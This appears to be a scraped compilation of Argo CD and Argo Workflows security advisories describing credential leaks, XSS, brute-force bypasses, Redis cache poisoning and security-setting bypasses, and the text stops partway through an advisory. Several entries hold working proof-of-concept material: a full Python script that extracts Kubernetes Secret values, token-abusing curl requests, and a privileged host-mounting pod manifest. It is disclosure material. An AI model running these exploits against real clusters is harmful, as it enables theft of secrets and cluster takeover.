See how argoproj compares to other vendors in security performance
Summary Argo CD API tokens with project-level permissions are able to retrieve sensitive repository credentials (usernames, passwords) through the project details API endpoint, even when the token only has standard application management permissions and no explicit access to secrets.
Component: Project API (/api/v1/projects/{project}/detailed)
Vulnerability Details Expected Behavior API tokens should require explicit permission to access sensitive credential information. Standard project permissions should not grant access to repository secrets. Actual Behavior API tokens with basic project permissions can retrieve all repository credentials associated with a project through the detailed project API endpoint.
Note: This vulnerability does not only affect project-level permissions. Any token with project get permissions is also vulnerable, including global permissions such as: p, role/user, projects, get, , allow
Steps to Reproduce
1. Create an API token with the following project-level permissions: p, proj:myProject:project-automation-role, applications, sync, myProject/, allow p, proj:myProject:project-automation-role, applications, action/argoproj.io/Rollout/, myProject/, allow p, proj:myProject:project-automation-role, applications, get, myProject/, allow
2. Call the project details API: bashcurl -sH "Authorization: Bearer $ARGOCDAPITOKEN" \ "https://argocd.example.com/api/v1/projects/myProject/detailed" 3. Observe that the response includes sensitive repository credentials: { "repositories": [ { "username": "<REDACTED>", "password": "<REDACTED>", "type": "helm", "name": "test-helm-repo", "project": "myProject" } ] }
Patches
v3.1.2 v3.0.14 v2.14.16 v2.13.9
Credits to @ashishgoyal111 for helping identify this issue.
Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. A critical vulnerability has been discovered in Argo CD starting with version 1.4.0 and prior to versions 2.1.15, 2.2.9, and 2.3.4 which would allow unauthenticated users to impersonate as any Argo CD user or role, including the admin user, by sending a specifically crafted JSON Web Token (JWT) along with the request. In order for this vulnerability to be exploited, anonymous access to the Argo CD instance must have been enabled. In a default Argo CD installation, anonymous access is disabled. The vulnerability can be exploited to impersonate as any user or role, including the built-in admin account regardless of whether it is enabled or disabled. Also, the attacker does not need an account on the Argo CD instance in order to exploit this. If anonymous access to the instance is enabled, an attacker can escalate their privileges, effectively allowing them to gain the same privileges on the cluster as the Argo CD instance, which is cluster admin in a default installation. This will allow the attacker to create, manipulate and delete any resource on the cluster. They may also exfiltrate data by deploying malicious workloads with elevated privileges, thus bypassing any redaction of sensitive data otherwise enforced by the Argo CD API. A patch for this vulnerability has been released in Argo CD versions 2.3.4, 2.2.9, and 2.1.15. As a workaround, one may disable anonymous access, but upgrading to a patched version is preferable.
Impact
Argo CD Cluster secrets might be managed declaratively using Argo CD / kubectl apply. As a result, the full secret body is stored inkubectl.kubernetes.io/last-applied-configuration annotation.
https://github.com/argoproj/argo-cd/pull/7139 introduced the ability to manage cluster labels and annotations. Since clusters are stored as secrets it also exposes the kubectl.kubernetes.io/last-applied-configuration annotation which includes full secret body. In order to view the cluster annotations via the Argo CD API, the user must have clusters, get RBAC access.
Note: In many cases, cluster secrets do not contain any actually-secret information. But sometimes, as in bearer-token auth, the contents might be very sensitive.
Patches
The bug has been patched in the following versions:
2.8.3 2.7.14 2.6.15
Workarounds
Update/Deploy cluster secret with server-side-apply flag which does not use or rely on kubectl.kubernetes.io/last-applied-configuration annotation. Note: annotation for existing secrets will require manual removal.
For more information
Open an issue in the Argo CD issue tracker or discussions Join us on Slack in channel #argo-cd
Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. All unpatched versions of Argo CD starting with 1.0.0 are vulnerable to an improper access control bug, allowing a malicious user to potentially escalate their privileges to admin-level. Versions starting with 0.8.0 and 0.5.0 contain limited versions of this issue. To perform exploits, an authorized Argo CD user must have push access to an Application's source git or Helm repository or sync and override access to an Application. Once a user has that access, different exploitation levels are possible depending on their other RBAC privileges. A patch for this vulnerability has been released in Argo CD versions 2.3.2, 2.2.8, and 2.1.14. Some mitigation measures are available but do not serve as a substitute for upgrading. To avoid privilege escalation, limit who has push access to Application source repositories or sync + override access to Applications; and limit which repositories are available in projects where users have update access to Applications. To avoid unauthorized resource inspection/tampering, limit who has delete, get, or action access to Applications.
Summary An attacker can exploit a chain of vulnerabilities, including a Denial of Service (DoS) flaw and in-memory data storage weakness, to effectively bypass the application's brute force login protection. This makes the application susceptible to brute force attacks, compromising the security of all user accounts.
Details The issue arises from two main vulnerabilities:
1. The application crashes due to a previously described DoS vulnerability caused by unsafe array modifications in a multi-threaded environment. 2. The application saves the data of failed login attempts in-memory, without persistent storage. When the application crashes and restarts, this data is lost, resetting the brute force protections.
go // LoginAttempts is a timestamped counter for failed login attempts
type LoginAttempts struct { // Time of the last failed login LastFailed time.Time json:"lastFailed" // Number of consecutive login failures FailCount int json:"failCount"
}
By chaining these vulnerabilities, an attacker can circumvent the limitations placed on the number of login attempts.
PoC 1. Run the provided PoC script. 2. Observe that the script makes 6 login attempts, one more than the set limit of 5 failed attempts. 3. This is made possible because the script triggers a server restart via the DoS vulnerability after 5 failed attempts, thus resetting the counter for failed login attempts.
Impact This is a critical security vulnerability that allows attackers to bypass the brute force login protection mechanism. Not only can they crash the service affecting all users, but they can also make unlimited login attempts, increasing the risk of account compromise.
Summary Workflow templates endpoints allow any client to retrieve WorkflowTemplates (and ClusterWorkflowTemplates). Any request with a Authorization: Bearer nothing token can leak sensitive template content, including embedded Secret manifests.
Details
https://github.com/argoproj/argo-workflows/blob/b519c9054e66b2f0a25eec06709717bd1362f72e/server/workflowtemplate/workflowtemplateserver.go#L60-L78
https://github.com/argoproj/argo-workflows/blob/b519c9054e66b2f0a25eec06709717bd1362f72e/server/clusterworkflowtemplate/clusterworkflowtemplateserver.go#L54-L72
Informers use the server’s rest config, so they read using server SA privileges.
https://github.com/argoproj/argo-workflows/blob/b519c9054e66b2f0a25eec06709717bd1362f72e/server/workflowtemplate/informer.go#L29-L42
https://github.com/argoproj/argo-workflows/blob/b519c9054e66b2f0a25eec06709717bd1362f72e/server/clusterworkflowtemplate/informer.go#L34-L46
PoC 1. Create template
yml apiVersion: argoproj.io/v1alpha1 kind: WorkflowTemplate metadata: name: leak-workflow-template namespace: argo spec: templates: - name: make-secret resource: action: create manifest: | apiVersion: v1 kind: Secret metadata: name: leaked-secret type: Opaque data: password: c3VwZXJzZWNyZXQ=
Then apply that with kubectl apply -f poc.yml 2. Query Argo Server with a fake token
Result:
cmd kubectl apply -f poc.yml workflowtemplate.argoproj.io/leak-workflow-template created curl -sk -H "Authorization: Bearer nothing" \ "https://localhost:2746/api/v1/workflow-templates/argo/leak-workflow-template" {"metadata":{"name":"leak-workflow-template","namespace":"argo","uid":"6f91481c-df9a-4aeb-9fe3-a3fb6b12e11c","resourceVersion":"867394","generation":1,"creationTimestamp":"REDACTED","annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{\"apiVersion\":\"argoproj.io/v1alpha1\",\"kind\":\"WorkflowTemplate\",\"metadata\":{\"annotations\":{},\"name\":\"leak-workflow-template\",\"namespace\":\"argo\"},\"spec\":{\"templates\":[{\"name\":\"make-secret\",\"resource\":{\"action\":\"create\",\"manifest\":\"apiVersion: v1\\nkind: Secret\\nmetadata:\\n name: leaked-secret\\ntype: Opaque\\ndata:\\n password: c3VwZXJzZWNyZXQ=\\n\"}}]}}\n"},"managedFields":[{"manager":"kubectl-client-side-apply","operation":"Update","apiVersion":"argoproj.io/v1alpha1","time":"REDACTED","fieldsType":"FieldsV1","fieldsV1":{"f:metadata":{"f:annotations":{".":{},"f:kubectl.kubernetes.io/last-applied-configuration":{}}},"f:spec":{".":{},"f:templates":{}}}}]},"spec":{"templates":[{"name":"make-secret","inputs":{},"outputs":{},"metadata":{},"resource":{"action":"create","manifest":"apiVersion: v1\nkind: Secret\nmetadata:\n name: leaked-secret\ntype: Opaque\ndata:\n password: c3VwZXJzZWNyZXQ=\n"}}],"arguments":{}}}
Impact Any client can leaks Workflow Template and Cluster Workflow Template data, including secrets, artifact locations, service account usage, env vars, and resource manifests.
Summary There is a missing authorization and data-masking gap in Argo CD's ServerSideDiff endpoint that allows an attacker with read-only access to extract plaintext Kubernetes Secret data from etcd via the Kubernetes API server's Server-Side Apply dry-run mechanism.
Details Argo CD masks Secret data in every endpoint that returns Kubernetes resource state except one. All the other endpoints such as GetManifests, GetManifestsWithFiles, GetResource and PatchResource utilize hideSecretData() to mask the returned secret value. The vulnerable function ServerSideDiff gRPC/REST endpoint (/application.ApplicationService/ServerSideDiff) constructs its response with raw, unmasked PredictedLive and NormalizedLive states:
// server/application/application.go:3051-3062 responseDiffs = append(responseDiffs, &v1alpha1.ResourceDiff{ TargetState: string(diffRes.PredictedLive), LiveState: string(diffRes.NormalizedLive), })
A user only requires RBAC to call this ServerSideDiff function. Every authenticated Argo CD user has get access via the default role:catch-all policy. However, Argo CD has a defense layer called removeWebhookMutation() that normally strips non-Argo CD-managed fields from the Server Side Apply (SSA) dry-run response and merges them with the client-provided (masked) live state. This prevents real Secret values from leaking through the diff. However, this defense is entirely skipped when the Application has the annotation argocd.argoproj.io/compare-options: IncludeMutationWebhook=true. When IncludeMutationWebhook=true is set, ignoreMutationWebhook becomes false, and the defense is skipped entirely:
if o.ignoreMutationWebhook { predictedLive, err = removeWebhookMutation(predictedLive, live, o.gvkParser, o.manager) }
The raw Kubernetes SSA dry-run response which contains real Secret values read from etcd is then flown directly into the API response with no masking.
When ServerSideDiff is called, the handler invokes K8sServerSideDryRunner.Run(), which performs the equivalent of:
kubectl apply --server-side --dry-run=server --field-manager=argocd-controller For extraction to succeed, the Secret's data fields must be owned by at least one non-Argo CD SSA field manager. When argocd-controller is the sole field manager for data, the SSA dry-run garbage-collects those fields (since the target manifest omits them). When a second manager exists (e.g., kube-controller-manager), that manager retains ownership and the real values survive in the response.
PoC #!/usr/bin/env python3 """ Argo CD ServerSideDiff Secret Extraction PoC
Usage: python3 poc.py <host> <token> <app> <project>
Example: python3 poc.py argocd.int.<customer>.com eyJhbG... my-app my-project """
import base64 import http.client import json import ssl import struct import sys import urllib.parse from collections import defaultdict
def encodevarint(v): out = [] while v > 0x7f: out.append((v & 0x7f) | 0x80) v >>= 7 out.append(v & 0x7f) return bytes(out)
def encodestr(field, val): tag = (field << 3) | 2 raw = val.encode() return encodevarint(tag) + encodevarint(len(raw)) + raw
def encodebytes(field, val): tag = (field << 3) | 2 return encodevarint(tag) + encodevarint(len(val)) + val
def encodebool(field, val): tag = (field << 3) | 0 return encodevarint(tag) + encodevarint(1 if val else 0)
def decodevarint(data, pos): val, shift = 0, 0 while pos < len(data): b = data[pos]; pos += 1 val |= (b & 0x7f) << shift; shift += 7 if not (b & 0x80): break return val, pos
def decodefields(data): fields = defaultdict(list) pos = 0 while pos < len(data): tag, pos = decodevarint(data, pos) wtype = tag & 0x07 if wtype == 0: val, pos = decodevarint(data, pos) fields[tag >> 3].append(val) elif wtype == 2: length, pos = decodevarint(data, pos) fields[tag >> 3].append(data[pos:pos + length]) pos += length elif wtype == 5: fields[tag >> 3].append(data[pos:pos + 4]); pos += 4 elif wtype == 1: fields[tag >> 3].append(data[pos:pos + 8]); pos += 8 else: break return dict(fields)
-- grpc-web framing --
def grpcframe(payload): return b"\x00" + struct.pack(">I", len(payload)) + payload
def decodegrpcframes(data): frames, pos = [], 0 while pos + 5 <= len(data): flag = data[pos] length = struct.unpack(">I", data[pos+1:pos+5])[0] pos += 5 frames.append((flag, data[pos:pos+length])) pos += length return frames
-- http helpers --
def makeconn(host): ctx = ssl.createdefaultcontext() ctx.checkhostname = False ctx.verifymode = ssl.CERTNONE return http.client.HTTPSConnection(host, 443, context=ctx, timeout=10)
def restget(conn, path, token): conn.request("GET", path, headers={ "Authorization": "Bearer " + token, "Accept": "application/json", }) resp = conn.getresponse() body = resp.read() if resp.status != 200: return None, "HTTP %d" % resp.status return json.loads(body), None
def grpcpost(conn, token, payload): conn.request("POST", "/application.ApplicationService/ServerSideDiff", body=grpcframe(payload), headers={ "Content-Type": "application/grpc-web+proto", "Accept": "application/grpc-web+proto", "X-Grpc-Web": "1", "Authorization": "Bearer " + token, }) resp = conn.getresponse() raw = resp.read() if resp.status != 200: return None, "HTTP %d" % resp.status frames = decodegrpcframes(raw) for flag, fdata in frames: if flag == 0: return fdata, None return None, "no data frame in response"
-- main --
def main(): if len(sys.argv) != 5: print("Usage: python3 poc.py <host> <token> <app> <project>") sys.exit(1)
host, token, appname, project = sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4] conn = makeconn(host)
# step 1: list managed resources for the app, find secrets print("[] Fetching managed resources for %s/%s ..." % (project, appname)) data, err = restget(conn, "/api/v1/applications/%s/managed-resources" % urllib.parse.quote(appname), token) if err: print("[-] Failed: %s" % err); sys.exit(1)
secrets = [] for r in data.get("items", []): if r.get("kind") != "Secret": continue name = r.get("name", "") ns = r.get("namespace", "") live = r.get("liveState", "") stype = "Opaque" if live and live != "null": try: stype = json.loads(live).get("type", "Opaque") except Exception: pass secrets.append((name, ns, stype, live))
if not secrets: print("[-] No secrets found in managed resources"); sys.exit(0) print("[+] Found %d secrets" % len(secrets))
# step 2: call ServerSideDiff for each secret totalextracted = 0 for sname, sns, stype, livejson in secrets: # build minimal target manifest (no data field) target = {"apiVersion": "v1", "kind": "Secret", "metadata": {"name": sname, "namespace": sns}, "type": stype}
# copy required annotations from live state for SA tokens if livejson and livejson != "null": try: liveannots = json.loads(livejson).get("metadata", {}).get("annotations", {}) k8sannots = {k: v for k, v in liveannots.items() if k.startswith("kubernetes.io/")} if k8sannots: target["metadata"]["annotations"] = k8sannots except Exception: pass
# for TLS secrets, include required placeholder keys if stype == "kubernetes.io/tls": target["data"] = { "tls.crt": base64.b64encode(b"PLACEHOLDER").decode(), "tls.key": base64.b64encode(b"PLACEHOLDER").decode(), } elif stype == "kubernetes.io/dockerconfigjson": target["data"] = {".dockerconfigjson": base64.b64encode(b'{"auths":{}}').decode()}
# encode the grpc request lr = b"" lr += encodestr(2, "Secret") # kind lr += encodestr(3, sns) # namespace lr += encodestr(4, sname) # name if livejson: lr += encodestr(6, livejson) # liveState lr += encodebool(12, True) # modified
query = encodestr(1, appname) query += encodestr(3, project) query += encodebytes(4, lr) query += encodestr(5, json.dumps(target))
# reconnect for each call (simple, no pool needed for poc) try: conn = makeconn(host) respdata, err = grpcpost(conn, token, query) except Exception as e: print(" [!] %s/%s: %s" % (sns, sname, e)) continue if err: print(" [!] %s/%s: %s" % (sns, sname, err)) continue
# parse response respfields = decodefields(respdata) for itembytes in respfields.get(1, []): if not isinstance(itembytes, bytes): continue ifields = decodefields(itembytes)
# field 5 = targetState (predictedLive — has real values from etcd) for raw in ifields.get(5, []): if not isinstance(raw, bytes): continue try: obj = json.loads(raw) except Exception: continue if obj.get("kind") != "Secret": continue secretdata = obj.get("data", {}) if not secretdata: continue
# check for real (non-masked) values realkeys = {} for k, v in secretdata.items(): if not v: continue if all(c == "+" for c in v): continue # masked by argocd try: decoded = base64.b64decode(v) text = decoded.decode("utf-8", errors="replace") except Exception: continue if all(c == "+" for c in text) and text: continue # masked (base64 of +++...) realkeys[k] = text
if realkeys: totalextracted += 1 print("\n [] %s/%s (%s)" % (sns, sname, stype)) print(" %d/%d keys extracted:" % (len(realkeys), len(secretdata))) for k in sorted(realkeys): v = realkeys[k].replace("\n", "\\n") if len(v) > 120: v = v[:120] + "..." print(" %s: %s" % (k, v))
print("\n[] Done. %d secrets with real values extracted." % totalextracted)
if name == "main": main()
Impact Any user with Argo CD application get permissions can extract real Kubernetes Secret values including service account tokens, TLS certificates, database credentials, and API keys. On Applications where IncludeMutationWebhook=true is already set, exploitation requires only read-only Argo CD access.
Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. Argo CD starting with version 0.4.0 and prior to 2.2.11, 2.3.6, and 2.4.5 is vulnerable to an improper certificate validation bug which could cause Argo CD to trust a malicious (or otherwise untrustworthy) OpenID Connect (OIDC) provider. A patch for this vulnerability has been released in Argo CD versions 2.4.5, 2.3.6, and 2.2.11. There are no complete workarounds, but a partial workaround is available. Those who use an external OIDC provider (not the bundled Dex instance), can mitigate the issue by setting the oidc.config.rootCA field in the argocd-cm ConfigMap. This mitigation only forces certificate validation when the API server handles login flows. It does not force certificate verification when verifying tokens on API calls.
Summary
Due to the improper URL protocols filtering of links specified in the link.argocd.argoproj.io annotations in the application summary component, an attacker can achieve cross-site scripting with elevated permissions.
Impact
All unpatched versions of Argo CD starting with v1.0.0 are vulnerable to a cross-site scripting (XSS) bug allowing a malicious user to inject a javascript: link in the UI. When clicked by a victim user, the script will execute with the victim's permissions (up to and including admin).
This vulnerability allows an attacker to perform arbitrary actions on behalf of the victim via the API, such as creating, modifying, and deleting Kubernetes resources.
Patches A patch for this vulnerability has been released in the following Argo CD versions:
v2.10.3 v2.9.8 v2.8.12
Workarounds
There are no completely-safe workarounds besides upgrading. The safest alternative, if upgrading is not possible, would be to create a Kubernetes admission controller to reject any resources with an annotation starting with link.argocd.argoproj.io or reject the resource if the value use an improper URL protocol. This validation will need to be applied in all clusters managed by ArgoCD.
Mitigations
1. Avoid clicking external links presented in the UI. The link's title is user-configurable. So even if you hover the link, and the tooltip looks safe, the link might be malicious. The only way to be certain that the link is safe is to inspect the page's source. 2. Carefully limit who has permissions to edit Kubernetes resource manifests (this is configured in RBAC for ArgoCD). The external-links are set as annotations on Kubernetes resources. Any persona with write access to resources managed by ArgoCD could be an actor.
References Documentation for the external links feature
Credits
Disclosed by RyotaK (@Ry0taK)
For more information
- Open an issue in the Argo CD issue tracker or discussions - Join us on Slack in channel #argo-cd
Summary An attacker can effectively bypass the rate limit and brute force protections by exploiting the application's weak cache-based mechanism. This loophole in security can be combined with other vulnerabilities to attack the default admin account. This flaw undermines a previously patched CVE intended to protect against brute-force attacks.
Details The application's brute force protection relies on a cache mechanism that tracks login attempts for each user. This cache is limited to a defaultMaxCacheSize of 1000 entries. An attacker can overflow this cache by bombarding it with login attempts for different users, thereby pushing out the admin account's failed attempts and effectively resetting the rate limit for that account.
The brute force protection mechanism's code: go if failed && len(failures) >= getMaximumCacheSize() { log.Warnf("Session cache size exceeds %d entries, removing random entry",
getMaximumCacheSize()) idx := rand.Intn(len(failures) - 1) var rmUser string i := 0 for key := range failures {
if i == idx { rmUser = key
delete(failures, key)
break
}
i++ }
log.Infof("Deleted entry for user %s from cache", rmUser) }
PoC 1. Set up the application environment and identify the login page. 2. Execute 4 failed login attempts for the admin account. 3. Run a Burp Intruder attack to populate the cache with login attempts for usernames ranging from 1 to 10000. 4. After 1000 attempts, start monitoring to see if the admin entries in the cache have been cleared. 5. At this point, brute-force the admin account.
In just 15 minutes, the PoC was able to perform 230 brute force attempts on the admin account. This rate allows for approximately 1000 requests per hour, effectively rendering the older CVE rate limit patches useless.
Impact This is a severe vulnerability that enables attackers to perform brute force attacks at an accelerated rate, especially targeting the default admin account.
Summary By default, the Redis database server is not password-protected. Consequently, an attacker with access to the Redis server can gain read/write access to the data in Redis. The attacker can also modify the "mfst" (manifest) key to cause ArgoCD to execute any deployment, potentially leveraging ArgoCD's high privileges to take over the cluster. Updating the "cacheEntryHash" in the manifest JSON is necessary, but since it doesn't use a private key for signing its integrity, a simple script can generate a new FNV64a hash matching the new manifest values. The repo-server, unable to verify if its cache is compromised, will read the altered "mfst" key and initiate an update process for the injected deployment.
It's also possible to edit the "app|resources-tree" key, causing the ArgoCD server to load any Kubernetes resource into the live manifest section of the app preview. This could lead to an information leak.
The fact that the cache in Redis is neither signed nor validated, combined with Redis's default lack of password protection, presents a significant security concern given ArgoCD's high-level permissions within the cluster. A security update should ensure all Redis database values are signed or encrypted.
Details We began by deploying ArgoCD on an EKS cluster. Surprisingly, we discovered that an unprivileged pod in a different namespace on the same cluster could connect to the Redis server on port 6379. This was unexpected, as we had observed network policy rules restricting access to the Redis server to only the pods application-controller, repo-server, and argocd-server. We later realized that, despite having installed the latest version of the VPC CNI plugin on the EKS cluster, it requires manual enablement through configuration to enforce network policies. This raises concerns that many clients might unknowingly have open access to their Redis servers. We also know your recommendation on this page Argo CD - Secret Management, to enable the network policy plugin. Further investigation revealed that any pod within my cluster could connect to the Redis server by resolving its address using the Kubernetes DNS server. Exploring the contents of the Redis server, we found that we could edit the 'mfst' value of the latest revision. By updating the “cacheEntryHash”, we made the repo-server accept it as a legitimate cache, leading ArgoCD to apply this configuration. These tests were conducted using the default configuration, with regular ArgoCD and ArgoCD via helm deployment. This scenario presents a viable attack path, enabling any pod with access to the cluster to potentially exploit ArgoCD's high permissions and take over the cluster. We believe there is a critical need to enhance the security of the cache and its components. Given that many clients likely use ArgoCD in a plug-and-play manner, they could be exposed to significant risk. I am willing to offer assistance or answer any questions you might have.
PoC We tested this using the latest version of ArgoCD, configured with default settings. ArgoCD was installed either by applying a YAML file or through Helm. We wrote a few Go programs to decompress the Redis values and regenerate the "cacheEntryHash", but these programs were relatively straightforward.
To modify the cluster deployment, you can alter the "mfst" key of the latest revision. For instance, add the following line:
json {"apiVersion":"apps/v1","kind":"Deployment","metadata":{"labels":{"app.kubernetes.io/instance":"myapp1"},"name":"everything-allowed"},"spec":{"replicas":1,"selector":{"matchLabels":{"app":"everything-allowed"}},"template":{"metadata":{"labels":{"app":"everything-allowed"}},"spec":{"containers":[{"args":["while true; do sleep 30; done;"],"command":["/bin/sh","-c","--"],"image":"ubuntu","name":"everything-allowed-pod","securityContext":{"privileged":true},"volumeMounts":[{"mountPath":"/host","name":"noderoot"}]}],"hostIPC":true,"hostNetwork":true,"hostPID":true,"volumes":[{"hostPath":{"path":"/"},"name":"noderoot"}]}}}
This addition creates a highly privileged pod.
To cause the web page to load a different Kubernetes resource in the "Live Manifest", edit the "app|resources-tree" manifest. Modify one of the component's kind, namespace, and name. Upon reloading the web page and clicking on the newly created asset, an error message appears: "Unable to load data: argocd-secret not found as part of application myapp." However, the resource's description is still transmitted to the browser, as seen in this URL format:
https://127.0.0.1:8081/api/v1/applications/myapp/resource?name=argocd-secret&appNamespace=argocd&namespace=argocd&resourceName=argocd-secret&version=v1&kind=Secret&group=
This situation results in information leakage.
Impact This vulnerability could lead to Privilege Escalation to the level of cluster controller, or to information leakage, affecting anyone who does not have strict access controls on their Redis instance.
Impact This vulnerability allows an attacker to perform arbitrary actions on behalf of the victim via the API, such as creating, modifying, and deleting Kubernetes resources. Due to the improper filtering of URL protocols in the repository page, an attacker can achieve cross-site scripting with permission to edit the repository.
In ui/src/app/shared/components/urls.ts, the following code exists to parse the repository URL.
https://github.com/argoproj/argo-cd/blob/0ae5882d5ae9fe88efc51f65ca8543fb8c3a0aa1/ui/src/app/shared/components/urls.ts#L14-L26
Since this code doesn't validate the protocol of repository URLs, it's possible to inject javascript: URLs here.
https://github.com/argoproj/argo-cd/blob/0ae5882d5ae9fe88efc51f65ca8543fb8c3a0aa1/ui/src/app/shared/components/repo.tsx#L5-L7
As the return value of this function is used in the href attribute of the a tag, it's possible to achieve cross-site scripting by using javascript: URLs.
Browsers may return the proper hostname for javascript: URLs, allowing exploitation of this vulnerability.
Patches A patch for this vulnerability has been released in the following Argo CD versions: - v3.0.4 - v2.14.13 - v2.13.8
The patch incorporates a way to validate the URL being passed in. Returning null if the validation fails.
Workarounds There are no workarounds other than depending on the browser to filter the URL.
Credits Disclosed by @Ry0taK RyotaK.
For more information Open an issue in the Argo CD issue tracker or discussions Join us on Slack in channel #argo-cd
A flaw was found in ArgoCD. An improper authorization bug may allow an attacker to update at least one cluster secret, enabling them to change any other cluster secret. The attacker must know the URL for the targeted cluster and additionally it should be authenticated within the ArgoCD API server with enough privileges to update at least one cluster. A successful attack may lead to privilege escalations or denial of service.
Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. Versions of Argo CD starting with v1.8.2 and prior to 2.3.13, 2.4.19, 2.5.6, and 2.6.0-rc-3 are vulnerable to an improper authorization bug causing the API to accept certain invalid tokens. OIDC providers include an aud (audience) claim in signed tokens. The value of that claim specifies the intended audience(s) of the token (i.e. the service or services which are meant to accept the token). Argo CD does validate that the token was signed by Argo CD's configured OIDC provider. But Argo CD does not validate the audience claim, so it will accept tokens that are not intended for Argo CD. If Argo CD's configured OIDC provider also serves other audiences (for example, a file storage service), then Argo CD will accept a token intended for one of those other audiences. Argo CD will grant the user privileges based on the token's groups claim, even though those groups were not intended to be used by Argo CD. This bug also increases the impact of a stolen token. If an attacker steals a valid token for a different audience, they can use it to access Argo CD. A patch for this vulnerability has been released in versions 2.6.0-rc3, 2.5.6, 2.4.19, and 2.3.13. There are no workarounds.
Impact
All unpatched versions of Argo CD starting with v1.0.0 are vulnerable to a cross-site scripting (XSS) bug allowing a malicious user to inject a javascript: link in the UI. When clicked by a victim user, the script will execute with the victim's permissions (up to and including admin).
The script would be capable of doing anything which is possible in the UI or via the API, such as creating, modifying, and deleting Kubernetes resources.
Patches
A patch for this vulnerability has been released in the following Argo CD versions:
v2.4.1 v2.3.5 v2.2.10 v2.1.16
Workarounds
There are no completely-safe workarounds besides upgrading.
Mitigations:
1. Avoid clicking external links presented in the UI. Here is an example of an Application node with an external link:
!Application node in the Argo CD UI with an external link
The link's title is user-configurable. So even if you hover the link, and the tooltip looks safe, the link might be malicious. The only way to be certain that the link is safe is to inspect the page's source.
2. Carefully limit who has permissions to edit resource manifests (this is configured in RBAC).
References
Documentation for the external links feature
Credits
Disclosed by ADA Logics in a security audit of the Argo project sponsored by CNCF and facilitated by OSTIF. Thanks to Adam Korczynski and David Korczynski for their work on the audit.
For more information
Open an issue in the Argo CD issue tracker or discussions Join us on Slack in channel #argo-cd
All unpatched versions of Argo CD starting with v1.0.0 are vulnerable to an improper access control bug, allowing a malicious user to potentially escalate their privileges to admin-level.
Summary
A user who can submit Workflows can completely bypass all security settings defined in a WorkflowTemplate by including a podSpecPatch field in their Workflow submission. This works even when the controller is configured with templateReferencing: Strict, which is specifically documented as a mechanism to restrict users to admin-approved templates. The podSpecPatch field on a submitted Workflow takes precedence over the referenced WorkflowTemplate during spec merging and is applied directly to the pod spec at creation time with no security validation.
Details
Three issues combine to create this vulnerability:
1. Merge priority order:JoinWorkflowSpec merges specs with the priority order Workflow Spec > WorkflowTemplate Spec > WorkflowDefault Spec. Because podSpecPatch is a plain string field, the Workflow's value replaces the WorkflowTemplate's value.
2. No security validation on podSpecPatch: ApplyPodSpecPatch() only validates that the patch is syntactically valid JSON conforming to the Kubernetes PodSpec schema. No checks are performed for dangerous security settings such as privileged: true.
3. templateReferencing: Strict does not restrict podSpecPatch: Strict mode only checks whether WorkflowTemplateRef is set. If it is, the Workflow passes validation regardless of what other fields (including podSpecPatch) are present.
PoC
Prerequisites
A local Kubernetes cluster with Argo Workflows installed. The instructions below use kind.
1. Create a kind cluster and install Argo Workflows
bash kind create cluster --name argo-poc
kubectl create namespace argo kubectl apply -n argo --server-side \ -f https://github.com/argoproj/argo-workflows/releases/download/v4.0.1/install.yaml
Note: --server-side is required because some CRDs exceed the client-side annotation size limit.
Wait for the controller to be ready:
bash kubectl wait -n argo --for=condition=Ready pod -l app=workflow-controller --timeout=120s
2. Enable templateReferencing: Strict
Patch the workflow controller configmap to enforce Strict mode:
bash kubectl patch configmap workflow-controller-configmap -n argo --type merge \ -p '{"data":{"workflowRestrictions":"templateReferencing: Strict\n"}}'
Restart the controller to pick up the new config:
bash kubectl rollout restart deployment workflow-controller -n argo kubectl wait -n argo --for=condition=Ready pod -l app=workflow-controller --timeout=120s
3. Verify Strict mode is active
Attempt to submit a standalone Workflow (no workflowTemplateRef). It should be rejected:
bash cat <<'EOF' | kubectl create -n argo -f - apiVersion: argoproj.io/v1alpha1 kind: Workflow metadata: generateName: strict-test- spec: entrypoint: test templates: - name: test container: image: alpine command: [echo, "hello"] EOF
The Workflow will be accepted by the API server but the controller will reject it. After a few seconds, check its status:
bash STRICTWF=$(kubectl get workflow -n argo -o name | grep strict-test | tail -1) kubectl get -n argo "$STRICTWF" -o jsonpath='{.status.phase} {.status.message}'
Expected output:
Error workflows must use workflowTemplateRef to be executed when the controller is in reference mode
4: Create a hardened WorkflowTemplate
An administrator creates a WorkflowTemplate with restrictive security settings:
bash cat <<'EOF' | kubectl apply -n argo -f - apiVersion: argoproj.io/v1alpha1 kind: WorkflowTemplate metadata: name: secure-template namespace: argo annotations: description: "Admin-approved secure template with hardened security settings" spec: entrypoint: secure-task securityContext: runAsNonRoot: true runAsUser: 1000 fsGroup: 1000 templates: - name: secure-task container: image: alpine:latest command: ["/bin/sh", "-c"] args: - | echo "=== Security Context Check ===" echo "Current UID: $(id -u)" echo "Current GID: $(id -g)" if cat /etc/shadow 2>/dev/null; then echo "EXPLOITED: Can read /etc/shadow!" else echo "SECURE: Cannot read /etc/shadow" fi if ls /host/etc/passwd 2>/dev/null; then echo "EXPLOITED: Host filesystem accessible!" cat /host/etc/passwd | head -5 else echo "SECURE: No host filesystem access" fi if [ "$(id -u)" = "0" ]; then echo "EXPLOITED: Running as root!" else echo "SECURE: Running as non-root (UID: $(id -u))" fi echo "=== End Check ===" securityContext: runAsNonRoot: true runAsUser: 1000 allowPrivilegeEscalation: false capabilities: drop: - ALL EOF
5. Submit a legitimate Workflow (baseline)
Submit a Workflow that references the secure template without modification:
bash cat <<'EOF' | kubectl create -n argo -f - apiVersion: argoproj.io/v1alpha1 kind: Workflow metadata: generateName: legit-use- namespace: argo spec: workflowTemplateRef: name: secure-template EOF
Wait for completion and check logs:
bash LEGITWF=$(kubectl get workflow -n argo -o name | grep legit-use | tail -1) kubectl wait -n argo --for=condition=Completed "$LEGITWF" --timeout=120s kubectl logs -n argo -l "workflows.argoproj.io/workflow=$(basename $LEGITWF)" -c main
Expected output (confirming the template's security settings are applied):
=== Security Context Check === Current UID: 1000 Current GID: 0 SECURE: Cannot read /etc/shadow SECURE: No host filesystem access SECURE: Running as non-root (UID: 1000) === End Check ===
6. Submit the bypass Workflow
Submit a Workflow that references the same secure template but includes a podSpecPatch that overrides all security settings:
